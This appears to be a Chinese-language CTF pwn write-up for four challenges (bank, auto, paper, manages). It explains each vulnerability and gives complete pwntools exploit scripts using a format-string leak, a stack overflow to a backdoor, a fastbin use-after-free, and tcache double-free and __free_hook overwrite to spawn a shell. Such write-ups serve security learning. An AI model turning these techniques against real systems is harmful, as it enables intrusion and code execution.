1.bank
直接拖入ida分析,password是由fgets函数读取的,因此当生成的第一个随机数为0xa时,密码就会被截断,即为0xa。
可以发现flag被读入栈中,并且有格式化字符串漏洞,经调试后当输入%8$s时即可读出flag。
编写exp时,因需要爆破,所以当读到flag就用sleep()函数来使程序暂停,exp如下:
from pwn import *
#io = process('./bank')
io = remote('81.70.195.166',10000)
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
def exp():
io.sendlineafter('account:\n','a')
#gdb.attach(io)
io.recvuntil('password:\n')
payload = ''
#gdb.attach(io)
io.sendline(payload)
#gdb.attach(io)
res = io.recv(2)
io.sendlineafter('balance?\n','yes')
#gdb.attach(io)
io.sendlineafter('code: \n','%8$s')
io.recvuntil('Your input is: ')
res=io.recvuntil('\n')
if res=='':
exit(0)
else:
sleep(10)
i=0
res=''
#exp()
while(i!=100):
try:
io = remote('81.70.195.166',10000)
exp()
print(res)
i+=1
except:
i+=1
print(res)
io.close()
2.auto
托入ida分析后发现一大堆重复函数,导致不能反汇编,因此我们需要通过patch来跳过这些重复函数。patch方法如下所示。
patch结束后再反汇编得到伪代码如下所示。
此时代码逻辑就变得很简单,complex_functin
函数为加密函数,编写解密脚本使其进入aas
中的login
,脚本如下
a2=0
a="UCIJEURI"
key=[]
for a2 in range(8):
for a1 in range(65,91):
if ord(a[a2])==(5 * a2 + a1 - 65) % 26 + 65:
key.append(chr(a1))
print(a2)
break
print(''.join(key))
login
函数如下所示,可以发现scanf函数没有限制长度,因此可以输入任意长度造成栈溢出,将返回地址改写到后门函数,拿到shell
exp如下
from pwn import *
io = remote('81.70.195.166',10001)
#io = process('./auto')
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
io.recvuntil('password: \n')
back = 0x8048665
payload = 'UXYUKVNZ'
io.sendline(payload)
io.recvuntil('again: \n')
#gdb.attach(io)
payload = 'a'*(0x48+4)+p32(back)
io.sendline(payload)
io.recvuntil('\n')
io.interactive()
3.paper
给了libc,先确定libc版本,可以直接./libc.so.6
查看版本,也可以通过在线网站利用中两个函数的偏移确定版本,发现是libc-2.23。
分析各个函数作用,发现free后指针未置0存在uaf漏洞
这两个函数一个泄露了栈地址,另一个是修改栈地址
然后发现有后门函数,且v9在被泄露地址的变量的下方
因此我们可以改变v9的值来拿shell,现在我们利用uaf漏洞,先申请一个chunk,再释放。又因为free后指针没有置0,我们可以利用第三个函数来改写fd指针。
改写fd指针为目标地址后再连续申请两次chunk即可得到我们的目标chunk。现在还缺一个目标地址,利用第4个函数泄露出栈地址,再用第5个函数改写栈地址为0x21(fastbin会检查size域),然后申请两次chunk即可改写v9的值。
exp如下
from pwn import *
#io = process('./paper')
io = remote('81.70.195.166',10003)
context.log_level='debug'
def add():
io.sendafter('choice > ','1 ')
def dele(a1):
io.sendafter('choice > ','2 ')
io.sendlineafter('Index:\n',str(a1))
def edit(a1,a2):
io.sendafter('choice > ','3 ')
io.sendafter('Index:\n',str(a1)+' ')
io.sendafter('word count:\n',str(a2)+' ')
def move(a1):
io.sendafter('choice > ','5 ')
io.sendlineafter('Which disk?\n',str(a1))
def exp():
add()#0
add()#1
dele(0)
io.sendafter('choice > ','4 ')
io.recvuntil('at: ')
stack = int(io.recv(14),16)
print(hex(stack))
move(33 )
edit(0,stack-8)
add()#2
add()#3
edit(3,3435973836)
io.sendafter('choice > ','6 ')
io.interactive()
exp()
5.manages
libc版本为2.27
思路是先泄露heapbase以控制tcache,再泄露libc_base,然后打__free_hook。
free后指针未置0。
这个change_summary
函数的作用是free掉*(bookcase[v1]),并申请一个chunk进行替换。
通过此操作可以泄露处heapbase
add(8,'0',0x89,'0')#0
add(8,'1',0x89,'1')#1
edit(0,0x18,'')
edit(1,0x18,'')
edit(1,0x90,'')
show(1)
泄露出heapbase后利用doublefree以申请到tcache来控制tcache,然后将0x250对应的counts改为>7的数,再free掉tcache以获得libcbase的基地址。
exp如下
from pwn import *
#io = process('./managebooks')
io = remote('81.70.195.166',10004)
libc = ELF('./libc1.so.6')
def add(a1,a2,a3,a4):
io.sendafter('>> ','1 ')
io.sendafter('size: ',str(a1)+' ')
io.sendlineafter('Enter book name: ',a2)
io.sendafter('Enter book summary size: ',str(a3)+' ')
io.sendlineafter('Enter book summary: ',a4)
def dele(a1):
io.sendafter('>> ','2 ')
io.sendafter('Select Book ID (0-10): ',str(a1)+' ')
def edit(a1,a2,a3):
io.sendafter('>> ','3 ')
io.sendafter('Select Book ID (0-10): ',str(a1)+' ')
io.sendafter('Enter book summary size: ',str(a2)+' ')
io.sendlineafter('Enter book summary: ',a3)
def show(a1):
io.sendafter('>> ','4 ')
io.sendafter('Select Book ID (0-10): ',str(a1)+' ')
def exp():
add(8,'0',0x89,'0')#0
add(8,'1',0x89,'1')#1
edit(0,0x18,'')
edit(1,0x18,'')
edit(1,0x90,'')
show(1)
heapbase = (u64(io.recv(4).ljust(8,'\x00'))>>12)<<12
print(hex(heapbase))
dele(0)
dele(0)
payload = p64(heapbase+0x98)
edit(1,0x18,payload)
add(7,'2',0x89,'2')#2
add(0x10,p64(heapbase+0x10),0x89,p64(heapbase+0x10))#3tcache
add(8,'4',0xa7,'\x00'*0x20+'\xff'*0x10+'\x00'*0x10+'\x00'*0x10)#4
edit(4,0x18,'a')
edit(4,0x40,'')
show(4)
malloc_hook = (u64(io.recv(6).ljust(8,'\x00'))-0xa)+0xa0-96-16
libcbase = malloc_hook - libc.symbols['__malloc_hook']
print(hex(libcbase))
free_hook = libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
edit(4,0x40,'\x00'*0x28+p64(free_hook-0x8))
#pause()
add(7,'5',0x27,'/bin/sh\x00'+p64(system))
pause()
io.sendafter('>> ','3 ')
io.sendafter('Select Book ID (0-10): ','5 ')
io.sendafter('Enter book summary size: ','16 ')
io.interactive()
exp()